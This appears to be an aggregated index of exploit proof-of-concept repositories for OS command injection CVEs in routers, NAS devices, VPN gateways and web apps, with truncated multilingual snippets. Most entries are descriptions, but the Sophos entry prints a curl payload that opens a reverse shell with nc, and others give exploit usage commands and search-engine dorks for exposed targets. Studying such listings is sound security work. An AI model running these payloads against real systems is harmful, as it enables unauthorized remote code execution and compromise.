ivanti-CVE-2024-21887

ivanti-CVE-2024-21887 ivanti CVE-2024-21887 コマンドインジェクション用 POC チェッカー...

poc-rebar3

Rebar3 シェルインジェクション CVE-2020-13802 概念実証 git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean クレジット Alexey Pronin @vulnbe 参考文献 Rebar3 の脆弱性分析 脆弱性是正 PR CVE-2020-13802 CWE-78: OSコマンドで使用される特殊要素の不適切な無効化（'OSコマンドインジェクション'）...

TP-Link-ArcherC5-RCE

TP-Link Archer C5 악성 구성 파일 업로드를 통한 인증된 원격 코드 실행 CVE-2018-19537 설명 TP-Link Archer C5 라우터의 모든 출시된 펌웨어 버전에 인증된 원격 코드 실행RCE 취약점이 존재합니다. 악의적으로 조작된 구성 파일을 업로드함으로써 공격자는 루트 권한으로 실행되는 OS 명령어를 주입할 수 있습니다. Archer C5 라우터는 관리 사용자가 현재 구성 매개변수를 파일에 저장하고 파일에서 매개변수를 복원할 수 있도록 합니다. 이러한 매개변수는 사용자가 웹 GUI 내에서 설정하려고 할...

CVE-2026-52616

CVE-2026-52616 — mcp-nmap-server: OS command injection via runnmapscan The runnmapscan MCP tool builds its command by string interpolation of the target and additionalFlags parameters and runs it through childprocess.exec, i.e. /bin/sh -c. ⚠ Read this first — duplicate identifier This vulnerabili...

CVE-2024-10914

CVE-2024-10914 D-Link DNS-320, DNS-320LW, DNS-325 및 DNS-340L 20241028까지에서 취약점이 발견되었습니다. 해당 취약점은 심각critical으로 분류되었습니다. 이 취약점의 영향을 받는 부분은 /cgi-bin/accountmgr.cgi?cmd=cgiuseradd 파일의 cgiuseradd 함수입니다. name 인수의 조작을 통해 OS 명령어 주입OS command injection이 발생합니다. 이 공격은 원격으로 수행될 수 있습니다. 공격의 복잡성은 상당히 높으며, 익스플로잇...

CVE-2024-55503

CVE-2024-55503 Termius 앱 MacOS dylib 명령 주입 설명 v.9.9.0 이전의 termius에서 문제가 발견되어 로컬 공격자가 DYLDINSERTLIBRARIES 구성 요소에 조작된 스크립트를 통해 임의 코드를 실행할 수 있습니다. dylib를 사용합니다. DYLDINSERTLIBRARIES=exploitcombined.dylib /Applications/Termius.app/Contents/MacOS/Termius 재현 영향 명령 실행 로컬 참조 CVE 기록:...

CVE-2026-94095

Netcore NBR200V2 - traceroute診断機能におけるリモートコマンドインジェクション CVE-2026-94095 項目| 値 ---|--- ベンダー| Netcore モデル| NBR200V2 ファームウェアバージョン| V1.3.241127.071246 影響を受けるコンポーネント| /usr/bin/networktools 脆弱性の種類| OSコマンドインジェクション CWE-74 / CWE-77 CVSS 3.1| 9.9 Critical 攻撃ベクトル| リモート ubus JSON-RPC 前提条件| 到達可能なubusエンドポイント +...

CVE-2026-19586

CVE-2026-19586 PoC TP-Link Omada SSL VPN 未認証RCE CVE-2026-19586 概要 TP-Link OmadaゲートウェイファームウェアのSSL VPN認証パスにおけるコマンドインジェクション脆弱性CWE-78により、未認証の攻撃者がrootとして任意のコマンドを実行できます。OpenVPNベースのSSL...

CVE-2025-32375

脆弱性バージョンのセットアップ 脆弱性のあるコンテナを起動します: docker compose up リスナー（例: ncat）を作成します: ncat -klnv 1337 エクスプロイトを実行します: python3 exploit.py すべてが正常に動作した場合、ncat ウィンドウに OS コマンド（デフォルトでは id）の内容を含む HTTP リクエストが届くはずです。 クレジット 脆弱性発見者: SeaW1nd VickyTheViking によるテスト環境に基づく...

CVE-2019-3929

CVE-2019-3929 Crestron/Barco/Extron/InFocus/TeqAV リモートコマンドインジェクション CVE-2019-3929 Metasploitモジュール Tenableの説明によると: "リモートの未認証攻撃者は、HTTPエンドポイント filetransfer.cgi への巧妙に細工されたリクエストを介して、rootとしてオペレーティングシステムコマンドを実行できます。この脆弱性は、Crestron AM-100 ファームウェア 1.6.0.2、Crestron AM-101 ファームウェア 2.7.0.1、Barco wePresent...

CVE-2025-14558

CVE-2025-14558 FreeBSD rtsold DNSSL コマンドインジェクション RCE 説明 rtsold8 は、DNSSLドメイン名にシェルのメタ文字が含まれていないか検証せずに resolvconf8 に渡します。$ によるコマンド置換により、隣接ネットワークからのリモートコード実行が可能になります。 影響を受けるバージョン: FreeBSD 13.x, 14.x, 15.x 2025-12-16 より前 使用法 sudo python3 exploit.py -i eth0 touch /tmp/pwned sudo python3 exploit.py -i...

CVE-2023-1671

CVE-2023-1671 Sophos Web Appliance의 사전 인증 RCE PoC curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "argsreason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&userencoded=$echo -n "';nc -e /bin/sh 192.168.56.1 4444 " | base64" snip = Send header, 184...

CVE-2019-15107

CVE-2019-15107 Webmin エクスプロイト CVE-2019-15107 問題が発見されました Webmin =1.920 において。パラメータ old が passwordchange.cgi にコマンドインジェクションの脆弱性を含んでいます。 NVD コンパイル $ git clone https://github.com/whokilleddb/CVE-2019-15107 $ cd CVE-2019-15107 $ make 使用例 $ ./exploit http://thomaswreath.thm:10000 + CVE-2019-15107 Webmin...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder の OS コマンドインジェクション Apache Ranger の user-sync（unixusersync）モジュールにおける OS コマンドインジェクションの実行可能な PoC 再現コードです。 同期された各ユーザーのグループを列挙する際、UnixUserGroupBuilder はシェルを介して id コマンドを実行し、ユーザー名 をコマンドラインに連結します： //...

CVE-2025-32778

CVE-2025-32778 - Web-Check 명령 주입 익스플로잇 설명 CVE-2025-32778은 Lissy93의 Web-Check OSINT 도구에서 발견된 심각한 명령 주입 취약점입니다. 인증되지 않은 공격자가 스크린샷 API의 url 매개변수를 통해 임의의 시스템 명령을 실행할 수 있습니다. 이 Python 스크립트는 익스플로잇을 자동화하며 리버스 셸을 생성하거나 사용자 지정 셸 페이로드를 수용할 수 있습니다. 경고 소유하거나 테스트 권한이 있는 시스템에서만 테스트하세요. 무단 사용은 불법이며 윤리적이지 않습니다. ...

CVE-2026-10520

CVE-2026-10520 Ivanti Sentry 이전 명칭 MobileIron Sentry는 모바일 디바이스와 기업 백엔드 리소스이메일, SharePoint, 내부 웹 애플리케이션 간의 트래픽을 프록시하는 엔터프라이즈 보안 게이트웨이입니다. 모바일 디바이스 관리MDM 정책을 시행하고, 암호화된 모바일 세션을 종료하며, 엔터프라이즈 앱 배포를 위한 인증서 기반 인증을 발급합니다. Sentry 인스턴스는 일반적으로 포트8443 에서 인터넷에 노출되어 MICSMobile Iron Configuration Service 관리 AP...

CVE-2018-6961

Python3でのCVE-2018-6961エクスプロイト バージョン3.1.0より前のVeloCloudによるVMware NSX SD-WAN Edgeには、ローカルWeb UIコンポーネントにコマンドインジェクションの脆弱性が存在します。このコンポーネントはデフォルトで無効になっており、信頼できないネットワーク上で有効にすべきではありません。VMwareのVeloCloudは、将来のリリースでこのサービスを製品から削除する予定です。この問題の悪用に成功すると、リモートコード実行につながる可能性があります。 リンク CVE詳細...

Drupalgedon3

Drupal 익스플로잇 POC SA-CORE-2018-004 / CVE-2018-7602 저자 Alexandre Nguyen 사용법 usage: exploit.py -h --command --nodeid --url POC for Drupal vulnerability SA-CORE-2018-004 arguments: -h, --help show this help message and exit --command Command to inject --nodeid Node to target --url Drupal base URL 라이선...

Exploit for Authentication Bypass Using an Alternate Path or Channel in Sangoma Freepbx

FreePBX-Breaker PoC y código automatizado para explotar CVE-20...

CVE-2023-0669

CVE-2023-0669 GoAnywhere MFT는 License Response Servlet에서 임의의 공격자 제어 객체를 역직렬화하여 발생하는 인증 전 명령 주입 취약점을 가지고 있습니다. 0x00 검색 shodan title:"GoAnywhere" FOFA title="GoAnywhere" 0x01 사용 방법 Java 버전 java -version openjdk version "1.8.0362" 도움말 java -jar CVE-2023-0669.jar -h / / | / / / | \ / \ | / / / // //...